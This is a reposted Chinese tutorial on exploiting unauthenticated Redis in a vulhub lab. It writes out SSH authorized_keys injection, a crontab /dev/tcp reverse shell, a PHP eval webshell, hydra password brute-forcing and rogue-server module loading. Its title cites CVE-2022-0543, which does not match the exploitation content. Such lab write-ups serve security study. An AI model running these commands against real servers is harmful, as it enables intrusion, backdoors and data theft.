redis未授權(CVE-2022-0543)

概述

Redis 默認綁定在 0.0.0.0:6379,在未配置防火墻或訪問控制的情況下會將服務暴露在公網上。若未設置訪問密碼(默認通常為空),攻擊者可直接未授權訪問 Redis。利用 Redis 提供的 CONFIG 命令,攻擊者可修改配置并將數據持久化到指定路徑,從而實現向服務器寫入任意文件。通過該方式,攻擊者可將自己的 SSH 公鑰寫入 /root/.ssh/authorized_keys 文件中,進而使用對應私鑰遠程登錄目標主機,獲取系統權限。

條件
  • Redis服務以root用戶身份運行,權限較高。
  • Redis未設置密碼或使用弱密碼,允許免密或弱認證訪問。
  • Redis監聽在公網地址(如0.0.0.0:6379),且未配置防火墻等訪問控制,導致任意IP均可連接。
方法
  • 使用 INFO 命令獲取Redis服務器參數和敏感信息,輔助滲透。
  • 上傳SSH公鑰,實現免密碼SSH登錄。
  • 利用 crontab 定時任務反彈Shell。
  • 在Web目錄寫入WebShell。
  • 利用Redis主從復制機制實現遠程代碼執行(RCE)。
危害
  • 攻擊者無需認證即可訪問內部數據,導致敏感信息泄露,同時可惡意執行 flushall 清空所有數據。
  • 攻擊者可利用 EVAL 命令執行 Lua 代碼,或通過數據備份功能向磁盤寫入后門程序。
  • 最嚴重的情況是,當 Redis 以 root 身份運行時,攻擊者可寫入 root 賬戶的 SSH 公鑰,實現免密碼遠程登錄受害服務器。

漏洞復現

環境準備
vulhub起靶場

靶場目錄和啟動命令下面都有

docker compose up
docker ps 
攻擊機環境準備
wget http://download.redis.io/releases/redis-2.8.12.tar.gz 
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
測試連通性

截屏2025-05-19 10.42.44

漏洞探測
端口掃描
nmap -sV --open -p- 192.168.64.10 

通常 Redis 服務默認開放在 6379 端口,但我的靶機將其映射到了 52018 端口。但是nmap 仍成功識別出該端口運行的是 Redis 服務。

截屏2025-05-19 11.01.11

連接redis

以下命令用于連接遠程 Redis 服務器

./redis-cli -h 192.168.64.10 -p 52018

./redis-cli 表示使用當前目錄下的 Redis 命令行客戶端進行連接,-h 參數用于指定目標主機的 IP 地址(此處為 192.168.64.10),-p 用于指定 Redis 服務監聽的端口號(此處為 52018)。

截屏2025-05-19 11.14.54

獲得SSH登陸權限

可以通過向 Redis 數據庫中寫入 SSH 公鑰的方式,獲取目標服務器的 SSH 登錄權限。

原理

利用 Redis 未授權訪問漏洞,將本機的 SSH 公鑰作為一個字符串寫入 Redis 中(key 值可以隨意),然后通過修改 Redis 的工作目錄為 /root/.ssh,并將保存文件名設置為 authorized_keys。這樣,當 Redis 執行保存操作時,便會將 SSH 公鑰寫入到目標服務器的 /root/.ssh/authorized_keys 文件中,從而實現免密登錄。

生成key

使用以下命令生成一對 SSH 密鑰(默認生成 id_rsaid_rsa.pub

ssh-keygen -t rsa

執行命令后按回車使用默認路徑和空密碼即可。生成完成后,公鑰文件 id_rsa.pub 將用于寫入目標 Redis 服務器,實現后續的免密 SSH 登錄。

導入key.txt文件

以下命令將本機生成的公鑰包裝成一個帶換行的文件 key.txt,用于后續寫入 Redis

(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
寫入靶機

key.txt 的內容寫入 Redis 緩存

cat key.txt | ./redis-cli -h 192.168.64.10 -p 51622 -x set test

說明:使用 -x 選項可以將標準輸入內容作為值寫入鍵 test。(注:由于靶機重啟,端口變更為 51622)

截屏2025-05-19 11.31.46

設置靶機ssh文件

注意如果這里使用docker起環境就不能寫入文件(沒有權限),下文有exp地址.

./redis-cli -h 192.168.64.10 -p 51622
# 設置 Redis 的工作目錄為目標機器的 /root/.ssh 目錄
config set dir /root/.ssh
# 設置保存文件名為 authorized_keys(SSH 公鑰默認認證文件)
config set dbfilename authorized_keys
# 查看當前所有 key,確認公鑰是否已寫入緩存
keys *
get test# 將緩存中的數據寫入到硬盤文件
save# 之后即可通過 SSH 免密碼登錄目標主機
ssh root@192.168.64.10# 登錄后可以查看寫入的公鑰文件內容
cat /root/.ssh/authorized_keys

注意:如果 Redis 運行在 Docker 容器中,通常沒有權限寫入文件系統,無法完成此操作。后文會提供對應的 Exploit 腳本地址。

漏洞利用

通過 crontab 定時任務反彈

原理與寫入公鑰類似,只是寫入內容和路徑不同。通過將反彈shell命令寫入 /var/spool/cron/root,實現定時執行反彈shell。

# 本地監聽端口(端口可自定義,避免沖突)
nc -lv 6666# 連接 Redis,寫入反彈shell任務
./redis-cli -h 192.168.64.10
set test2 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/客戶端IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
Web目錄寫入 WebShell

利用 Redis 寫入 Web 目錄,生成 WebShell,實現遠程代碼執行。

./redis-cli -h 192.168.64.10
config set dir /var/www/html
set shell "\n\n\n<?php @eval(\$_POST['wintry']);?>\n\n\n"
config set dbfilename shell.php
save# 利用hydra爆破redis密碼(若設置了密碼)
hydra -P passwd.txt redis://192.168.1.111
利用 Redis 主從復制實現遠程命令執行 (ECE)

Redis 通過主從復制機制分攤壓力,但可被攻擊者利用偽裝為 Redis 主節點,傳輸惡意模塊,實現命令執行。

攻擊思路:

  1. 偽裝成 Redis 服務器,欺騙受害者將其設置為主節點。
  2. 傳輸惡意模塊(.so 文件)到受害者。
  3. 受害者加載該模塊,實現任意命令執行。
./redis-cli -h 192.168.64.10
MODULE LOAD /root/redis-rogue-server/exp.so
system.exec "whoami"
Redis 常用命令匯總
redis-cli -h ip -p 6379 -a passwd       # 連接遠程Redis
info                                  # 查看Redis信息
set key value                        # 設置鍵值對
get key                             # 獲取鍵值
incr key                            # 遞增鍵值
keys *                             # 查看所有鍵
config set protected-mode no        # 關閉保護模式
config set dir /path/to/dir         # 設置保存目錄
config set dbfilename filename.rdb  # 設置保存文件名
save                               # 保存快照到磁盤
flushall                           # 清空所有數據
del key                           # 刪除指定鍵
slaveof ip port                   # 設置主從復制關系
mset k1 v1 k2 v2 k3 v3            # 批量設置鍵值
mget k1 k2 k3                     # 批量獲取鍵值

參考文章

  1. Redis未授權訪問 (https://wiki.wgpsec.org/knowledge/web/unauthorized.html#redis)
  2. redis未授權漏洞復現(超詳細)(https://www.cnblogs.com/qingzhang/articles/18195354)
  3. redis未授權訪問漏洞【vulhub靶場】復現(https://blog.csdn.net/m0_55854679/article/details/126100539)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/907825.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/907825.shtml
英文地址,請注明出處:http://en.pswp.cn/news/907825.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

(面試)OkHttp實現原理

OkHttp 是一個高效的 HTTP 客戶端&#xff0c;被廣泛應用于 Android 和 Java 應用中。它提供了許多強大的特性&#xff0c;例如連接池、透明的 GZIP 壓縮、HTTP/2 支持等。理解 OkHttp 的實現原理有助于更好地使用和調試它。 以下是 OkHttp 的一些核心實現原理&#xff1a; 1…

Netty 實戰篇:構建簡易注冊中心,實現服務發現與調用路由

本文將為前面構建的輕量級 RPC 框架添加“服務注冊與發現”功能&#xff0c;支持多服務節點動態上線、自動感知與調用路由&#xff0c;為構建真正可擴展的分布式系統打好基礎。 一、背景&#xff1a;為什么需要注冊中心&#xff1f; 如果每個客戶端都硬編碼連接某個 IP/端口的…

c++之分支

深入理解 C 分支結構&#xff1a;從基礎到實戰 在 C 編程的世界里&#xff0c;分支結構是控制程序流程的重要手段&#xff0c;它賦予程序 “思考” 和 “選擇” 的能力&#xff0c;讓程序能夠根據不同的條件執行不同的代碼塊。本文將帶大家深入探索 C 分支結構&#xff0c;結合…

LLMs之MCP:如何使用 Gradio 構建 MCP 服務器

LLMs之MCP&#xff1a;如何使用 Gradio 構建 MCP 服務器 導讀&#xff1a;本文詳細介紹了如何使用Gradio構建MCP服務器&#xff0c;包括前提條件、構建方法、關鍵特性和相關資源。通過一個簡單的字母計數示例&#xff0c;演示了如何將Gradio應用轉換為LLM可以使用的工具。Gradi…

ubuntu20.04.5-arm64版安裝robotjs

ubuntu20.04.5arm上使用robotjs #ssh&#xff0c;可選 sudo apt update sudo apt install openssh-server sudo systemctl status ssh sudo systemctl enable ssh sudo systemctl enable --now ssh #防火墻相關&#xff0c;可選 sudo ufw allow ssh sudo ufw allow 2222/tc…

craw4ai 抓取實時信息,與 mt4外行行情結合實時交易,基本面來覺得趨勢方向,搞一個外匯交易策略

結合實時信息抓取、MT4行情數據、基本面分析的外匯交易策略框架&#xff0c;旨在通過多維度數據融合提升交易決策質量&#xff1a;行不行不知道先試試&#xff0c;理論是對的&#xff0c;只要基本面方向沒錯 策略名稱&#xff1a;Tri-Sync 外匯交易系統 核心理念 「基本面定方…

Python中scapy庫詳細使用(強大的交互式數據包操作程序和庫)

更多內容請見: 爬蟲和逆向教程-專欄介紹和目錄 文章目錄 一、scapy概述1.1 scapy介紹1.2 安裝1.3 交互模式1.4 安全注意事項二、基本使用2.1 數據包構造基礎2.2 數據包發送2.3 數據包嗅探2.4 數據包分析與操作2.5 網絡掃描技術2.6 協議實現示例三、高級功能3.1 數據包重放3.2 …

基于Web的瀕危野生動物保護信息管理系統設計(源碼+定制+開發)瀕危野生動物監測與保護平臺開發 面向公眾參與的野生動物保護與預警信息系統

博主介紹&#xff1a; ?我是阿龍&#xff0c;一名專注于Java技術領域的程序員&#xff0c;全網擁有10W粉絲。作為CSDN特邀作者、博客專家、新星計劃導師&#xff0c;我在計算機畢業設計開發方面積累了豐富的經驗。同時&#xff0c;我也是掘金、華為云、阿里云、InfoQ等平臺…

[SAP] 矩陣復制(Matrix Copy)

SAP中的復制粘貼功能被稱為矩陣復制&#xff0c;通過點擊對話框或屏幕&#xff0c;并執行下述命令&#xff0c;使用矩陣復制就可以復制多行文本 ① 按下Ctrl-Y&#xff0c;從左上到右下拖拉鼠標來選擇文本 ② 文本高亮顯示后&#xff0c;按下Ctrl-C ③ 移到新的位置插入文本…

【筆記】在 MSYS2(MINGW64)中安裝 Python 工具鏈的記錄

#工作記錄 &#x1f4cc; 安裝背景 操作系統&#xff1a;MSYS2 MINGW64當前時間&#xff1a;2025年6月1日Python 版本&#xff1a;3.12&#xff08;默認通過 pacman 安裝&#xff09;目標工具鏈&#xff1a; pipxnumpypipsetuptoolswheel &#x1f6e0;? 安裝過程與結果記錄…

OpenCV CUDA模塊結構分析與形狀描述符------在 GPU 上計算圖像的原始矩(spatial moments)函數spatialMoments()

操作系統&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 編程語言&#xff1a;C11 算法描述 該函數用于在 GPU 上計算圖像的原始矩&#xff08;spatial moments&#xff09;。這些矩可用于描述圖像中物體的形狀特征&#xff0c;如面積、質…

Nacos實戰——動態 IP 黑名單過濾

1、需求分析 一些惡意用戶&#xff08;?可能是黑客、爬蟲、DDoS ?攻擊者&#xff09;可能頻繁請求服務器資?源&#xff0c;導致資源占用過高。針對這種問題&#xff0c;可以通過IP? 封禁&#xff0c;可以有效拉?黑攻擊者&#xff0c;防止資源?被濫用&#xff0c;保障合法…

opencv + jpeg_turbo(啟用SIMD加速)

背景 opencv的imreadimwrite耗時過大 一張5M的圖片讀用了140ms,寫一張1.7M的圖片用149ms 平臺&#xff1a;mingw64編譯Windows程序版本&#xff1a;opencv4.5.4 加速方案 opencv啟用openmpopencv啟用jpeg_turbojpeg_turbo啟動SIMD加速 下載jpeg_turbo源碼 opencv源碼自帶…

Redis 主從節點

Redis 主從節點的核心區別 特性主節點 (Master)從節點 (Slave/Replica)讀寫權限可讀可寫只讀&#xff08;默認配置&#xff09;數據流向數據來源從主節點同步數據連接關系可連接多個從節點只能連接一個主節點故障切換故障時需要手動/自動提升從節點可被提升為新的主節點命令執…

汽車安全:功能安全FuSa、預期功能安全SOTIF與網絡安全Cybersecurity 解析

汽車安全的三重防線&#xff1a;深入解析FuSa、SOTIF與網絡安全技術 現代汽車已成為裝有數千個傳感器的移動計算機&#xff0c;安全挑戰比傳統車輛復雜百倍。 隨著汽車智能化、網聯化飛速發展&#xff0c;汽車電子電氣架構已從簡單的分布式控制系統演變為復雜的移動計算平臺。現…

github好玩的工具

以下是 GitHub 上一些有趣且實用的開源工具推薦,涵蓋 AI 應用、效率提升、趣味開發等方向,結合最新趨勢和項目熱度整理: 一、AI 與深度偽造工具 Deep-Live-Cam 僅需一張圖片即可在視頻直播中實時替換人臉,適用于內容創作和虛擬角色開發,支持多平臺硬件運行(如 NVIDIA CUD…

Python應用for循環臨時變量作用域

大家好!如果你剛開始學習Python&#xff0c;可能會對for循環中臨時變量的作用域感到好奇。下面通過一個簡單的練習&#xff0c;幫助你理解這個概念。 代碼呈現: i 0 for i in range(5):print(i)print(i)代碼介紹: 首先我們初始化變量i 0然后進入for循環&#xff0c;這里i成為…

深度學習---負樣本訓練

一、負樣本的本質與核心作用 1. 定義與范疇 負樣本&#xff08;Negative Sample&#xff09;是與目標樣本&#xff08;正樣本&#xff09;在語義、特征或任務目標上存在顯著差異的樣本。其核心價值在于通過對比學習引導模型學習樣本間的判別性特征&#xff0c;而非僅記憶正樣本…

實驗設計與分析(第6版,Montgomery)第3章單因子實驗:方差分析3.11思考題3.7 R語言解題

本文是實驗設計與分析&#xff08;第6版&#xff0c;Montgomery著&#xff0c;傅玨生譯) 第3章單因子實驗&#xff1a;方差分析3.11思考題3.7 R語言解題。主要涉及單因子方差分析&#xff0c;正態性假設檢驗&#xff0c;殘差與擬合值的關系圖&#xff0c;平方根變換。 X<-c(…

【PhysUnits】15.8 引入P1后的減法運算(sub.rs)

一、源碼 這段代碼實現了一個類型級別的二進制數減法系統&#xff0c;包含標準減法和帶借位減法。 use core::ops::{Neg, Not, Sub}; use super::basic::{Z0, N1, P1, B0, B1, Integer, NonZero}; use super::add1::Add1; use super::sub1::Sub1; use super::standardization…